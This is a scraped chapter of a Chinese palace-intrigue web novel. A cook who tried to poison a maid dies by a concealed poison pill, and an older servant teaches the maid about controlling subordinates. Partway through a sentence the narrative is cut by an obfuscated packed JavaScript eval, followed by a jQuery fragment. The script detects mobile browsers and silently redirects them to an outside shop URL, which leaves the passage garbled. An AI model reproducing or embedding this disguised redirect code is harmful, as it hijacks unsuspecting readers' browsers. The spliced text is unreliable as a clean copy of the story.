魏厨娘双眼猛地睁开,直直地瞪着谢秋霜,好在总算开了口:“你竟然如此恶毒。”
谢秋霜一愣,随即像是听到了什么搞笑的事情一般大笑几声:“哈哈哈,我怕是没有听错吧。是你要下毒害我,是何缘故反过来指控我恶毒?”
“如今我已经被你们抓到,就算再多辩解估计也无济于事,”魏厨娘的眼神暗了暗,“你们要如何处置我?”
“那要看你会说些什么。”谢秋霜淡笑,朝徐嬷嬷点点头,“娘娘仁慈,又怀着龙子,我们定然不会重罚什么,只是正如我先前所说,你若因此敷衍了事,我们大可将你放出去,让你背后的主子处置你。”
外间传来悉悉索索的声音,是白草和白雀又带着人去把枫儿、燕儿等四人尽数抓回来了,因着她们并非幕后黑手的原因,白雀和白草的动作很轻柔,倒像是“请”而非“抓”。
这些人不明所以,还以为是调虎离山的计策得逞,魏厨娘成功在主殿那些人的住处找到了她们毒害秋霜姐姐的证据,个个脸上还带着喜色。
听到外边的动静,魏厨娘眼睛一转,另起了一个话头:“枫儿几个是受我蒙骗,并没有做过对主子和您不利的事情。”
徐嬷嬷皱眉:“你倒是对她们不错,只是眼下你可没有本事和我们谈条件。”
于是魏厨娘便把嘴巴一闭,倒像是破罐破摔,认准了她们只能从自己的口中探得消息而不会不答应她的条件。
“她们对你的忠心更甚于娘娘,”谢秋霜还真被她看准了软肋,只得后退一步,“灶房那边肯定是留不得了,降为洒扫宫女已是对她们的恩赐。”
外间和里间就隔了薄薄的一个木板墙,谢秋霜没有刻意压低声音,刚刚还面带喜色的四人听到自己要被赶出灶房,皆是吓得脸色煞白。
事情似乎并非她们所想的那般,听这话的意思,她们一直以来信服的魏姐姐竟然一直都是在骗她们?
一开始就有些犹豫的燕儿很快就反应了过来,双腿一软,跪到了地上,发出“嘭”的一声。
魏厨娘自然听到了这声响,冷笑一下没有说话,反倒双手撑到地上,缓缓站了起来。
她的眼神寒凉地扫过站在上首的谢秋霜和徐嬷嬷,透露出些许的决绝之意:“横竖我都没了退路,告诉你们与否又有何意义?”
“不好!”徐嬷嬷瞳孔骤缩,猜到了她要做什么,连忙上前要去抠她的嘴。
魏厨娘步伐不稳地往后退了几步,躲开了徐嬷嬷的手,大笑道:“像我这样的人多的是,你觉得她们四人便是全然无辜吗!充容娘娘成不了事的,你何苦要害得她步步向前?早知如此,便应当在筷子上抹毒,不至于叫你逃了去!”
说罢,她的唇角缓缓流出黑色的血,随即仰面一倒,狠狠地摔在了地上。由于刚刚后退了些许,头不免撞到了门槛,流了一地的血。
魏厨娘睁着眼睛便没了气息,居然是死不瞑目。
徐嬷嬷蹲下用双手探了探她的鼻子,起身朝谢秋霜摇摇头。
“她刚刚的话是何意?”谢秋霜被眼前一幕惊到,那抹鲜红在她的视线里晕染,显得模糊又可怖。
徐嬷嬷叹了口气,先几步走出去吩咐白雀和白草将门外四个人带走,又找了几个自己培养的靠得住的人将地上的狼藉收拾干净。
这才带着谢秋霜绕进后院,此处空气清新,景致早被蓝水带着人改过,清新又自然。
尽管如此,谢秋霜仍旧觉得有一丝若有若无血腥之味从看不到的地方钻入她的鼻子之中,挥之不去。
“她应当是在被抓时就服下了毒丸,刚刚说那么多不过是想要拖延时间罢了。胡言乱语,你莫要放在心上。”徐嬷嬷拍拍她的肩膀以示安慰。
谢秋霜点点头,道理她懂,只是一时难以转过弯来,再有就是第一次有人以这样的姿态在她面前死去,她多少有些被吓到了。
凌清禾要往上走是因为她需要权势护住明远侯府,而谢秋霜要往上走是因为她想要爬到更高的位置不再任人摆布,洗清旧友离世的真相。
何谈谁推着谁的道理?
魏厨娘是看准了徐嬷嬷是侯府的人,与她不是同根生的,死前还要诛心离间而已,真是其心可诛!
她闭了闭眼,将心头的阴霾摒去,才淡笑道:“我只是在想,她是从东配殿便跟着娘娘的,我也时时对她有提点,为何要背叛娘娘毒害于我?”
徐嬷嬷也笑,抬头望向一片清澈的天空,开口道:“秋霜是否还记得我当日提点您时所说的话?”
“您说我太过于仁慈了。”谢秋霜怔怔道。
“正是,”徐嬷嬷点头,“您认为您对她们好,她们便一定会同样的回报您。然而世上人有多种,事情也有万般难全。”
她指了指一片枝头的嫩叶,回头问道:“若这片叶离了枝干,该当如何?”
谢秋霜抬眼看去,那绿叶尚未成熟,若此时将它枝头摘下,必然因为没有营养和水分而快速干瘪,如此想着,她便如此回答。
徐嬷嬷便伸手将那片叶子摘下:“假若娘娘是这颗树,你便是这上头最为粗壮的枝条,那些绿叶依附于你,也会因为离不开你而怨恨你。这时候假若我说我能让它离了树还能活,你说它会不会愿意离开枝条?”
“没有叶子离了枝头能活。”谢秋霜蹙眉,不解其意。
徐嬷嬷讲叶子放在她的掌心,声音沉稳而有力:“她们未必不知道这个道理,但是被诱惑的人难道不知道那是个诱惑吗?你只待叶子们好,却没有任何制约的手段,久而久之,这些叶子就会忍不住被风吹走去做其他树的养料。”
薄薄的叶片在掌心微凉,谢秋霜终于明白了徐嬷嬷的意思,深吸了一口气:“徐嬷嬷认为我该如何改?”
“你只看魏厨娘,她未必本身就是经不住诱惑,只是可能觉得被诱惑了也不会被发现而已。”徐嬷嬷见她懂了,这才松了口气。
这位秋霜是小姐十分信任的宫女,只是心思还是太单纯了些,经此一事,怕是能将以往的行为处事改换得沉静一些。
谢秋霜了然,略一思索,便觉得有些合不上的地方:“那魏厨娘为何要服药自尽?”
还算转得过来,徐嬷嬷的目光中面露赞许:“因为与这叶子息息相关的东西被别人握在了手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758789|179715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,她若不死,她身上被背后之人拿捏住的东西就会毁于一旦。”
“我总觉得,以这样的方式叫人忠心实在有些狠毒。”谢秋霜皱眉,下意识便反驳。
徐嬷嬷又笑:“这是手腕而已,什么样的人用什么样的办法。”
“我省得了,多谢嬷嬷教我。”谢秋霜将叶子捏在手心,朝徐嬷嬷微微行礼。
徐嬷嬷连连摆手,沉声道:“不过魏厨娘其他话或许都是在胡言乱语,不过说宫内还有向她这样的眼线却不像是在乱说,你我多用些心查查罢。”
枫儿四人暂时被送去清扫宫道。而查细作这件事情自然被层层布置了下去,谢秋霜若是自己出面,就算是再傻的细作都不会露出破绽来。
她将此事交给了乐山乐水和孙茹,自上而下、自下而上都有了,若有马脚总会被察觉的。
不过目前迁宫在即,谢秋霜倒不希望尽快找到这些藏起来的人,实在是迁宫需要的人手太多。
库房比东配殿搬西配殿时翻了个倍,距离也长了不少,她和小金子带着梧桐几个人亲自指点宫人装箱。
装好的箱子须得由他们几个人亲自登记都装了些什么,然后再前后左右各上一把锁,由宫人搬去主殿的库房。
每一个箱子从西配殿出去,还要被记上一个数,写上搬箱的宫人是哪几个。
如此一来,箱子里若是少了什么亦或是多了什么,他们便能第一时间找到负责搬箱子的那几个宫人来寻问。
这个办法是小金子想的,尽管繁琐,但的确叫人安心了不少。只是谢秋霜好久没做这些累活,连着几天清早起床的时候手脚酸软,吃了好些苦头。
守夜的时候忍不住捶打不适的地方,还被凌清禾听了去,虽然说她没说什么,但第二日喝补汤的时候有意无意的分了她一碗。
叫谢秋霜羞得耳根都红了,那林晏之的医书上写着日日做操能强健体魄,她一直没断过,怎么还是在这事上丢了脸面?
什么神医,只怕是个庸医罢!
要说凌清禾给她分补汤,其实是蓄谋已久,只是正好赶上这个机会能送出去而已。
只怪自从发现她肚子里怀了两个以来,明远侯夫人宋韵便想方设法地要给她喂胖一些,各种补汤天天都变了花样地端到餐桌上来。
而守着她喝完的,不是采荷就是谢秋霜。
她一个主子怎么沦落到叫大宫女催着喝汤的境地,如此好汤,只她一人独享怎可?可惜平日里采荷和谢秋霜油盐不进,偏要看她喝完才行。
这次谢秋霜身体酸软,总算有了可以喝补汤的借口,凌清禾便心情颇好地盯着她喝完,见她满脸别扭地咽下肚去,凌清禾只觉得自己神清气爽,甚至多用了小半碗饭。
喝汤的谢秋霜才不知道自己主子心里的弯弯绕绕,她脸上别扭是因为这补汤居然是苦的。
苦就不说了,补汤是侯夫人给凌清禾养身子长肉的,她就这么喝了,明日会不会圆润上一些?
谢秋霜十分担心地偷偷捏了捏肚子上的肉,她觉得自己现如今的胖瘦就很不错。
只喝一次,应当……应当没事吧?